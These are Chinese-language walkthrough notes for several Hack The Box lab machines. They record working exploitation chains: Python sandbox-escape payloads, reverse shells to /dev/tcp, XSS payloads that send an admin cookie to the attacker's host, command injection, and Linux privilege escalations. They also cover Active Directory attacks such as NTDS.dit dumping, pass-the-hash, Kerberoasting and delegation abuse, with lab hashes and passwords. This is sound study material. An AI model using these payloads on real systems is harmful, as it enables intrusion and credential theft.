HTB-code
user
nmap扫描 nmap 10.10.11.62 -sV -A
发现开放了5000端口 访问发现是个在线执行python代码的网页
可以进行命令执行
print(''.__class__.__base__.__subclasses__()[317]('ls /',shell=True,stdout=-1).communicate()[0].strip())
然后直接在上层目录读到user.txt
print(''.__class__.__base__.__subclasses__()[317]('cat ../user.txt',shell=True,stdout=-1).communicate()[0].strip())
root
命令执行
1 | print(''.__class__.__base__.__subclasses__()[317]('ls *',shell=True,stdout=-1).communicate()[0].strip()) |
于是可以拿到 martin的hash加密后的密码 3de6f30c4a09c27fc71932bfc68474be 就是 nafeelswordsmaster
然后使用ssh登录 ssh martin@10.10.11.62 提示输入密码 输入就好了
输入sudo -l 回显
1 | martin@code:~$ sudo -l |
backy.sh文件内容:
内容大概为三个功能:
1.输入检查,必须传入一个 JSON 文件路径(如 task.json),否则报错。检查文件是否存在。
2.路径过滤使用,jq 移除 directories_to_archive 中所有 ../(防止目录遍历攻击)。允许的路径范围限定在 /var/ 和 /home/。
3.路径权限检查,is_allowed_path() 函数检查路径是否以 /var/ 或 /home/ 开头(防止访问敏感路径如 /root/)。
1 | #!/bin/bash |
task.json
其主要功能是过滤路径并检查允许的目录,先执行一下backy.sh,发现会生成一个压缩包
1 | { |
做法:
将备份目录修改为/home/….//root 并且要删除exclude: [“.*”]
为什么要删除?exclude: [".*"]导致/root文件夹被完全排除
1 | { |

sudo /usr/bin/backy.sh task.json

执行ls 发现生成了压缩包 使用tar -xjf code_home_.._root_2025_April.tar.bz2
再ls 发现生成了root目录 进root目录读root.txt即可

HTB-Environment
惯例nmap先扫描10.10.11.67
nmap 10.10.11.67 -sV -A 没什么特别的 常见的22和80端口
直接访问 记得配host echo "10.10.11.67 environment.htb" | sudo tee -a /etc/hosts
访问后 进入网站界面 没发现什么特别的 也没有可以点的东西 上dirsearch扫描看看

扫出来登录路由 进去尝试登录 发现没什么用 抓包下登录界面 改下参数就出了报错界面 (这一步我是看wp才知道的 告诉我们要多试试)
user

1 | $keep_loggedin = False; |
然后这里就有可以利用的点了
1 | if(App::environment() == "preprod") { |
这一段代码意思是 :当运行环境为 "preprod" 时,直接把 session 中的 user_id 设置为 1,并重定向到后台(常常用于开发者想偷懒直接让自己登陆的) 所以如果我们想登录满足这个就好
找到相关的CVE “https://github.com/Nyamort/CVE-2024-52301“
按照poc去打于是成功进入后台了!

在profile里找到一个上传文件的点
进行绕过 加GIF89a 以及后缀加一个.


上传文件成功!然后连接antsword 然后就可以拿到第一个flag了
root
然后其实最好的做法是反弹shell 接下来我们打root也方便
cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/ip/1234+0%3E%261%27

反弹shell成功后切换到 /home/hish目录
发现了.gnupg目录
此时www-data用户是没有权限对hish用户进行解密的,但是我们可以尝试复制hish用户的gpg私钥进行解密
1 | .gnupg 是 GnuPG(GPG) 的配置与密钥目录,用于管理用户的加密密钥、配置文件、缓存等数据。 |
1 | GPG 是 GNU 的 PGP 实现,主要用于: |
首先把这个文件备份到其他目录
1 | cp -r /home/hish/.gnupg/* /tmp/mygpg/ |
然后进入backup目录进行解密
1 | gpg --homedir /tmp/mygpg --decrypt keyvault.gpg |
1 | <up$ gpg --homedir /tmp/mygpg --decrypt keyvault.gpg |

然后按照hish用户登录
登陆过后 sudo -l得到
1 | Matching Defaults entries for hish on environment: |
env_keep+="ENV BASH_ENV"
允许设置 BASH_ENV 环境变量,即允许通过该变量劫持 bash 启动时执行的脚本。
User hish may run the following commands:
可以使用 sudo 运行 /usr/bin/systeminfo(以 root 权限)
1 | 用 sudo 执行一个 bash 脚本(systeminfo),而 bash 会自动加载你用 BASH_ENV 注入的恶意脚本,从而实现以 root 权限执行任意命令! |
使用命令
1 | echo 'exec /bin/bash' > /tmp/exploit.sh |
即可成功登录

HTB-Cat
还是nmap先扫描 正常开放22和80端口 配个host先
1 | echo "10.10.11.53 cat.htb" | sudo tee -a /etc/hosts |
访问是个网站 有注册点 登陆进去找到一个可以文件上传的点 尝试了下发现没有可利用的点 因为是白名单 只能传图片
于是dirsearch继续信息收集 结果扫出来一堆.git的目录

user
使用Githack获取源代码

然后开始审计吧 有很多个php文件
但是其实跟我现在做的网站有关的只有部分 剩下的比如admim.php accept_cat.php 等 我们暂时在网站中还没见到 但是你审计这些代码后就会发现 这个网站还有一个admin的存在并且使用session来验证是否为admin 当你上传你的猫儿资料过后 admin会来查看 它可以进行查看 接收 拒绝的操作(对应三个php代码)
所以我们很容易联想到xss的一类攻击手法 窃取管理员cookie伪造其登录

这里审计出大概存在xss 去这六个东西对应的php文件 最终锁定了注入点在登录框
注册帐号为<img src=x onerror="document.location='http://10.10.14.58/?cookie='+document.cookie" /> 密码随便

进入上传猫咪资料的界面上传 同时开启监听 python3 -m http.server 80

成功拿到admin的cookie!

修改cookie后成功进入admin页面

抓包
这里有sql注入漏洞 使用sqlmap进行注入
将reqeust保存为1.txt 然后使用sqlmap注入得到数据库
1 | sqlmap -r request.txt -p catName --dbms sqlite --level 5 --risk 3 --tables --threads 10 --batch |

由源码知道使用axel登录 但是这个密码我没办法破解 尝试后rosa的密码可以知道 ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa
登录到这个用户 但是我们的核心目的还是登录axel 想办法拿到他的密码

发现rosa 还属于 adm 组(GID 4),通常用于系统日志访问权限。我们去看看日志吧
日志一般在/var/log下 然后成功找到密码

使用ssh登录axel即可 然后在目录下找到user.txt成功读取
root
登录axel的时有
说我有邮件 那就去看看什么邮件
HTB-Cap
首先扫描发现开放 22 21 80端口
1 | ┌──(kali㉿kali)-[~/Desktop] |
访问web界面 发现是Colorlib 这个是wordpress的一个插件 本来我以为考的是wp的漏洞 搜寻和使用wpscan扫了一下 没有什么发现
看网站吧
他有一个下载功能 可以下载流量包 流量包下载是有编号的 现在就考察平常的渗透能力 发现/data/

可以得到帐号和密码
1 | nathan |
user
ftp登录
1 | ┌──(kali㉿kali)-[~/Desktop] |
即可拿到第一个flag
root
ssh登录
1 | ssh nathan@cap.htb |
这里需要提权 首先我使用的是
1 | find / -perm -u=s -type f 2>/dev/null |
没找到什么有用的 这时候可以使用 linpeas.sh
这是收集linux机器信息的一个工具
使用curl下载即可
1 | chmod 777 linpeas.sh |
就可以找到
1 | Files with capabilities (limited to 50): |
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
cap_setuid:允许程序修改用户ID
这意味着 Python 可以调用 setuid() 系统调用 普通用户可以运行 Python 脚本将自己变成 root
1 | import os |
即可提权
FACTS
信息收集
nmap全端口扫描
1 | nmap -p- <目标IP> |
1 | ┌──(kali㉿kali)-[~/Desktop] |
然后配置下/etc/hosts
1 | echo "10.129.1.62 facts.htb" | sudo tee -a /etc/hosts |
进去dirsearch扫描下路径
发现服务器配置了404界面 于是排除掉404界面
1 | dirsearch -u "http://facts.htb/" -x 404 |
进去看指纹发现特征cms并且是version 2.9
1 | https://github.com/d3vn0mi/cve-2025-2304-poc |
可以提升权限
在setting发现aws相关凭证

使用awscli连接
1 | aws configure |
Imagery
nmap扫描发现了 8000和22端口
8000端口运行着一个web服务 是一个画廊 有登录系统,进去可以进行上传图片和编辑图片 随便登录一个账号 上传图片 我发现自己传不了图片可能是我靶机比较卡的原因吧
还有一个提交bug的功能 这样发现管理员会来看 这里就测试了一下xss
1 | <img src=1 onerror="document.location='http://10.10.14.53/c/'+document.cookie"></img>" |
可以收到管理员的session 直接带上session访问 出现了admin panel
admin panel存在一个下载功能点 这里测试了一下 存在任意文件读取
1 | %2f..%2f..%2f..%2f..%2fetc%2fpasswd |
能够成功被读取 尝试读取/proc/self/envrion /proc/self/cmdline等linux敏感文件
在/proc/self/cmdlin读到当前目录是 /home/web/web/
可以读取到以下文件
1 | /home/web/web/app.py |
在db.json里读到
1 | { |
两个账户的密码hash
testuser的hash可以被破解
1 | 2c65c8d7bfbca32a3ed42596192384f6 |
使用此帐号登录发现多了mange group功能以及可以对图像进行edit操作
结合之前的源码 发现他就是有可以对图片进行编译的工具 抓下选用crop转换的包
包里有一个json格式 传入参数有x y width height
在这尝试命令注入
1 | "params":{"x":"8;bash -c '/bin/bash -i >& /dev/tcp/10.10.14.53/4444 0>&1' #","y":0,"width":320,"height":320} |
成功获取到了shell
发现home目录下有两个用户 一个mark一个web
我们肯定要登录到mark 在计划任务里发现了一个0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
把这个压缩包down下来发现是使用了aes算法加密的
使用这个项目解密 https://github.com/marcobellaccini/pyAesCrypt.git
得到密码 bestfriends
然后得到一个新的db.json 里面有mark用户的密码hash
1 | supersmash |
1 | su mark |
然后就可以读取user.txt了
root
sudo -l
发现(ALL) NOPASSWD: /usr/local/bin/charcol
1 | sudo /usr/local/bin/charcol |
清除原来的密码
1 | sudo /usr/local/bin/charcol -R |
等定时任务触发 你就是root了
1 | bash -p |
DAV
BABY
nmap扫描
1 | PORT STATE SERVICE |
查询下域名
1 | nxc smb 10.129.231.50 |
1 | ┌──(kali㉿kali)-[~/Desktop] |
ladp开了 使用idapsearch匿名查询下域内数据
1 | ldapsearch -x -H ldap://10.129.231.50 -b "dc=baby,dc=vl" "(objectClass=user)" sAMAccountName description |
得到
1 | ┌──(kali㉿kali)-[~/Desktop/TOOLS] |
在Teresa看到描述里写 Set initial password to BabyStart123!
加上开了88 Kerberos协议 尝试使用密码喷洒
user.txt是我们收集到的域内用户名
1 | Guest |
密码喷洒
1 | nxc ldap baby.vl -u users.txt -p 'BabyStart123!' |
对应账号是caroline.robinson 但是提示必须改密码 于是我们修改密码
1 | smbpasswd -U BABY/caroline.robinson -r baby.vl #NewPass123! |
提权
执行whoami /priv 命令
发现开启了SeBackupPrivilege和SeRestorePrivilege
1 | SeBackupPrivilege:绕过文件权限,备份任何文件(包括 SAM、NTDS.dit) |
如果开启了某些配置我们该如何做呢
1 | 这里也就是渗透黄金特权 |
那么这样我们可以通过备份sam和system文件拿到管理员的NTLM哈希
1 | NTLM哈希 是存储在 Windows 数据库(如 SAM 或 ntds.dit)中的密码静态哈希。它不需要破解成明文。只要你拿到了这个哈希,你就可以直接通过 Pass-the-Hash (PTH) 攻击登录系统。 |
NTLM(New Technology LAN Manager)工作的原理:
1 | 1.首先客户端告诉服务器我要和你通信 |
于是我们备份sam和system获取NTLM哈希
1 | reg save hklm\system .\system |
使用sam和system得到NTLM的hash
1 | impacket-secretsdump -sam sam -system system LOCAL |
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43::: |
使用imp
1 | evil-winrm -i 10.129.231.50 -u 'Administrator' -H 8d992faed38128ae85e95fa35868bb43 |
使用hash传递攻击没法成功登录成功
1 | ┌──(kali㉿kali)-[~/Desktop] |
1 | ┌──(kali㉿kali)-[~/Desktop] |
这里写的就是尝试获取域控里的hash NTDS.dit
这个文件里有该域内所有账号、所有计算机以及最重要的——所有用户密码的哈希值。
1 | impacket-secretsdump -ntds ntds.dit -system system LOCAL |
文件被锁定,我们无法直接复制,于是使用diskshadow来创建当前硬盘的副本
在kali里面创建一个backup.txt
1 | set verbose on |
再使用unix2dos backup.txt 转换成windows能够识别的格式
回到Evil-WinRM的终端 输入 upload backup.txt 然后diskshadow /s backup.txt
再把副本里的NTDS.dit放到当前目录下
1 | robocopy /b E:\Windows\NTDS . ntds.dit |
然后dir 看到了我们想要的文件 直接下载即可

拿到文件后开始解密
1 | impacket-secretsdump -ntds ntds.dit -system system LOCAL |
得到域控hash
1 | evil-winrm -i 10.129.234.71 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d |
提权成功!!!!
补充:
哈希传递攻击
常常用于横向去攻击域内其他机子
工作组环境,必须是administrator用户
1 | 哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。 |
- 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
Delegate
nmap扫描查看端口
1 | Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-16 13:14 CST |
nxc查看域名
1 | SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) |
smb和ldap都拒绝匿名查询 那我们使用kerbrute来进行用户名枚举
1 | ./kerbrute_linux_386 userenum --dc 10.129.234.69 -d delegate.vl /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt |
结果为
1 | 2026/03/16 13:28:11 > [+] VALID USERNAME: guest@delegate.vl |
查看smb共享的文件
1 | ┌──(kali㉿kali)-[~/Desktop/TOOLS] |
这里解释下
| 共享名 | 类型 | 说明 | 渗透意义 |
|---|---|---|---|
| ADMIN$ | Disk | 远程管理共享 | 只有管理员能进,普通用户或 Guest 进不去。 |
| C$ | Disk | C 盘根目录 | 同上,需要高权限。 |
| IPC$ | IPC | 进程间通信 | 匿名连接的基础,不存文件,但可以用来枚举用户/组。 |
| NETLOGON | Disk | 登录服务共享 | 重点! 存放域登录脚本。有时管理员会把密码写在脚本里。 |
| SYSVOL | Disk | 组策略共享 | 核心重点! 存放组策略(GPO)。这里可能存在含有密码的 Groups.xml 文件。 |
查看NETLOGON 和 SYSVOL目录
在NETLOGON下发现了users.bat
1 | smbclient //10.129.234.69/NETLOGON -U 'guest%' |
发现users.bat里给了重要的Administrator用户的密码 但是似乎是fileserver这台机器上的 并不是我现在这个

1 | nxc smb 10.129.234.69 -u 'administrator' -p 'P4ssw0rd1#123' #失败 |
换成里面的用户名 连接成功
1 | nxc smb 10.129.234.69 -u 'A.Briggs' -p 'P4ssw0rd1#123' |
使用bloodhound收集域内信息
1 | bloodhound-python -u A.Briggs -p 'P4ssw0rd1#123' -d delegate.vl -c all --zip -ns 10.129.234.69 |

显示有GenericWrite权限

这里用到的攻击手法是 kerberoasting攻击
添加 SPN(Service Principal Name)到 N.Thompson 账户
1 | bloodyAD -d delegate.vl --dc-ip 10.129.234.69 -u 'A.Briggs' -p 'P4ssw0rd1#123' set object N.Thompson servicePrincipalName -v 'http/anything' |
获取 TGS 票证
1 | impacket-GetUserSPNs -dc-ip 10.129.234.69 -request -request-user N.Thompson delegate.vl/A.Briggs:'P4ssw0rd1#123' |
1 | $krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$e648b727e7f6aae9eb7744c4431a06b8$8f75c51218502de14fb4533d78c2656662a6ced46a5e888d48e2627e3766d3c90d989ec57b3e2b1284ec1c9775bc4a77588da07eaa96d1fb22d2cb66bdf0401dbb56efa9109909a97948a7755bd754c7a041aed7908cb7ece1429d34ad10363191f28db995b405eb0106b620aeca0d3d8b4f49a2722e3a0c2a6df3a3dbb677a8c599d879e6f5b564ba0287954a88ba4ce08b23622996c125dcbed3721e71d9d2e4f39de4a134b92a1cafeaf07242f1a95f0c1bf4e80ba5ba8fb1ffebb9d41488a80e2d7dc434ee9813f1061786c3fe8af553d4d98c2955296414f750ba559ecb5abf11e45b8865c61cef10a6dc4ddd1c29bb60dd00664ada426205ba4f83df86a2855bcda18972181192474f52315397ab9900d8b2bc92ee231c09a32e216bfefd00a37ae5a9ae1797b01e189b3cc7f5f0f518bba6416aa1d48b96d102feb79936a2bbc5354fce1376601ef842b79ffb4e5ee4e8189df9fd034f851aeb86f0271c64f92e58348891821e203261b9621af2b497aceff674a0b7d7fc9427a867c5cf4c7af9c4e1fc37a2ab9e8a7055b87178681a2584803cc89eb470a19d48593d4795177dbcffc5dbbb0c28d31176042858c25c2316c86f3963e93ffffde090b2bf7cb4e2a8d2a5591b7a1bb426c9b25748c5e449cbe51b009a4ba8650a32d26a78adb10e7892fecf3ff71006f5e2235237fac587f994fd678293598014ba6031fdea55db927d785bbfd16f4f5ea33c25a49cb44a3b882eca317f6c501dcd493c433e3395df1ce08b8da2adab68e9e4220e72ae1067cd170fb82d28413b03db1e97c70941843e094833ddffb84c90168047b6070f6fc9c4fdce19df8bceeffe89401e9518f79fc2ff43d3e00880ca3c12babc4bc1d0f904363077bfe75c9b28b08b879662e7a71280dc2ebe9f3716cd197dcb5323f14ac69c7afba102eed1cb59c350894a2347bdf6a34a6c20f57e823682b45a1217123a72f2d5815e3128cf06e4c2e93ac5d5b60bd162f6bfb22b924a0d253c13f67532b09941465184807e941c1dc25b8b984c786a1f09c902a0d515e517d1541e062fdd244dd6ef4d4df36ac2e173360b44775d7d89ed02eabd7cf445fd7f2f14577e256076b917fcfda1cee3c2251fa8bd3cbafcfcac6b60e545e7014ccb8f4502c5ee158ca23dd1f4142fb149ba79bd7f07205fc340eeec7ad0affa7c0f1a14d2cd1f124562d484c3559b0f36540959a01b3e35796a603645907b0bf846a964a880898ba33e4fa8adc5e292f7153fce9da5736aceac1f168d9f26f250c4a2583ffb9b76e21280423cb66720ade48143e303e47715c7ad7f9d8eb2986a3925465ec4cfef2ea8f99957dec05b2a5574de3ff7dc31c4052bbb36292d6153cdbd27dd565d2a7172df7e1023566b44b83bc3a34de2666b6f0890b6f483ced32bca468ca3aaa9f581551bc7d0406f2b9f8e |
使用hashcat爆破明文密码
1 | hashcat -m 13100 n_hash /usr/share/wordlists/rockyou.txt --force |

KALEB_2341
1 | evil-winrm -i 10.129.229.9 -u 'N.Thompson' -p 'KALEB_2341' |
拿到shell
提权
执行whoami /priv
1 | SeMachineAccountPrivilege Add workstations to domain Enabled |
创建用户
1 | impacket-addcomputer -dc-ip 10.129.299.9 -computer-name pwn delegate.vl/N.Thompson:'KALEB_2341' |
启动标志位
1 | bloodyAD -u 'N.Thompson' -d 'delegate.vl' -p 'KALEB_2341' --host '10.129.299.9' add uac 'pwn$' -f TRUSTED_FOR_DELEGATION |
添加dns
1 | python3 dnstool.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -r pwn.delegate.vl -d 10.10.16.40 --action add 10.129.234.69 |
添加配置
1 | bloodyAD -d delegate.vl --dc-ip 10.129.299.9 -u 'N.Thompson' -p 'KALEB_2341' get object 'pwn$' --attr 'servicePrincipalName' |
计算hash
1 | python3 -c 'import hashlib,binascii; print(binascii.hexlify(hashlib.new("md4", "P@ssword123!".encode("utf-16le")).digest()).decode())' |
启动监听
1 | python3 krbrelayx.py -hashes :c5f2d015f316018f6405522825689ffe |

1 | python3 PetitPotam.py -target-ip 10.129.229.9 -u 'pwn$' -p 'P@ssword123!' pwn dc1.delegate.vl |

最后
1 | KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache impacket-secretsdump -just-dc-user Administrator -k dc1.delegate.vl |
拿到域控hash
连接shell
1 | evil-winrm -i 10.129.234.69 -u Administrator -H c32198ceab4cc695e65045562aa3ee93 |
Kerberos协议
大致过程:


kerberoasting攻击
SPN(service principal name)服务主体名称
Windows域环境中用于标识服务或应用程序的唯一标识符,kerberos认证使用SPN来关联服务和运行的应用程序
格式

kerberoasting攻击
客户端请求一个服务票据并离线破解服务账户的密码hash

导出票据:
mimikatz可以导出票据 或者使用rebeus可以直接拿到票据里的hash(前提都是你可以RDPWindows桌面这样 这两工具方便点
如果只有ip用户密码 那可以使用targetedKerberoast或者impacket-GetUserSPNs 模块
爆破hash:
最后拿到的hash使用hachcat或者john爆破就行
这样我们就可以拿到指定用户的密码
AS-REP Roasting
kerberos preauthentication (kerbers 预认证)
step1:客户端像PDC发送一个AS-REQ 包含用户密码衍生的hash加密的时间戳以及用户名
step2:域控收到请求,查找和用户名关联的密码hash,并尝试解密时间戳。如果解密成功并且时间戳没有重复,则认证成功,向客户端返回AS-REP